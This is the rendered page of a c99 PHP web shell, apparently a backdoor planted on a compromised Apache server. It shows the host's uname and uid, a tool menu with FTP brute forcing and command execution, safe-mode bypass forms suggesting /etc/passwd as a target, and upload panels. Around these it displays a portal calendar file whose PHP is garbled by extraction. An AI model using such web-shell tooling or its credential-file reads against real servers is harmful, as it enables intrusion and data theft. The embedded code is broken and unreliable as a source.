!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/blocks/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     block_calendar.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/***********************************************************************
    - MemHT Portal -
                        
    Copyright (c) 2007 by Miltenovik Manojlo
    http://www.memht.com
    
    License: 
    Creative Commons Attribution-ShareAlike 3.0 License
    http://creativecommons.org/licenses/by-sa/3.0/
    
***********************************************************************/

    
if (stristr(htmlentities($_SERVER['PHP_SELF']), "block_calendar.php")) {
        
header("Location: ../index.php");
        die();
    }
    
    global 
$dblink,$tzNOW;
    
    
$dblink->query("DELETE FROM memht_calendar_events WHERE date < ($tzNOW - INTERVAL 30 DAY)");
    
    
?>
    <style type="text/css">
        .cal_uni { color:#333333; }
        .cal_sat { color:#FF9900; }
        .cal_sun { color:#FF6600; }
        .cal_now { color:#FFFFFF; font-weight:bold; background-color:#FF9900; }
        .cal_now a { color:#FFFFFF; }
        .cal_now a:visited { color:#FFFFFF;}
        .cal_evt { background-color:#DDDDDD; }
    </style>
    <?php
    
    $n_day 
date('j'); //Day
    
$n_month = (isset($_POST['calmonth'])) ? intval($_POST['calmonth']) : date('n') ; //Month
    
$n_year = (isset($_POST['calyear'])) ? intval($_POST['calyear']) : date('Y') ; //Year
    
    
$fdm_stamp mktime(0,0,0,$n_month,1,$n_year); //First day of the month stamp
    
$fdm_day date('w',$fdm_stamp); //Week number day of the first day of the month (1=Mon,2=Tue,3=Wed,4=Thu,5=Fri,6=Sat,0=Sun)
    
    
switch ($fdm_day) {
        case 
1$offset 0; break;
        case 
2$offset 1; break;
        case 
3$offset 2; break;
        case 
4$offset 3; break;
        case 
5$offset 4; break;
        case 
6$offset 5; break;
        case 
0$offset 6; break;
    }
    
    
$now_stamp mktime(0,0,0,$n_month,$n_day,$n_year); //Actual stamp
    
$days date('t',$now_stamp); //Days in this month
    
    
$prev_year = ($n_month==1) ? $n_year-$n_year ;
    
$next_year = ($n_month==12) ? $n_year+$n_year ;
    
$prev_month $n_month-1;
    if (
$prev_month<1) { $prev_month 12; }
    
$next_month $n_month+1;
    if (
$next_month>12) { $next_month 1; }
    
    echo 
"<table width='100%' border='0' cellpadding='0' cellspacing='0' class='box'>\n";
        echo 
"<td width='1'><form name='prev' action='#calendarevents' method='post'><input type='image' src='images/left.gif'><input type='hidden' name='calmonth' value='$prev_month'><input type='hidden' name='calyear' value='$prev_year'></form></td>\n";
        echo 
"<td align='center'><a name='calendarevents'><b>".numToMonth($n_month)." $n_year</b></a></td>\n";
        echo 
"<td width='1'><form name='next' action='#calendarevents' method='post'><input type='image' src='images/right.gif'><input type='hidden' name='calmonth' value='$next_month'><input type='hidden' name='calyear' value='$next_year'></form></td>\n";
    echo 
"</table>";

    echo 
"<table width='100%' border='0' cellpadding='0' cellspacing='0'>\n";
        echo 
"<tr>\n";
            echo 
"<td align='center' width='14%'><b>".substr(_MON_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%'><b>".substr(_TUE_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%'><b>".substr(_WED_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%'><b>".substr(_THU_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%'><b>".substr(_FRI_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' class='cal_sat'><b>".substr(_SAT_,0,1)."</b></td>\n";
            echo 
"<td align='center' width='14%' class='cal_sun'><b>".substr(_SUN_,0,1)."</b></td>\n";
        echo 
"</tr>\n";
        
        for (
$i=1;$i<=$days;$i++) {
            
$w_stamp mktime(0,0,0,$n_month,$i,$n_year);
            
$w_day date('w',$w_stamp);
            
            if (
$w_day==1) { echo "<tr>\n"; }
            while (
$offset>0) {
                
$offset--;
                echo 
"<td>&nbsp;</td>\n";
            }
            switch (
$w_day) {
                case 
6$class "cal_sat"; break;
                case 
0$class "cal_sun"; break;
                default: 
$class "cal_uni"; break;
            }
            
$itxt $i;
            if (
$result $dblink->get_list("SELECT title FROM memht_calendar_events WHERE YEAR(date)=$n_year AND MONTH(date) = $n_month AND DAYOFMONTH(date) = $i")) {
                
$class "cal_evt";
                
$events "";
                foreach (
$result as $row) { $events .= "<div>".outCode($row['title'])."</div>"; }
                
$itxt "<a href='index.php?page=calendar&op=events&year=$n_year&month=$n_month&day=$i' title=\"header=[Events] body=[$events]\">$itxt</a>";
            }
            if (
$n_year==date('Y') AND $n_month==date('n') AND $i==$n_day) { $class "cal_now"; }
            echo 
"<td align='center' class='$class'>$itxt</td>\n";
            if (
$w_day==0) { echo "</tr>\n"; }
        }
    echo 
"</table>";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--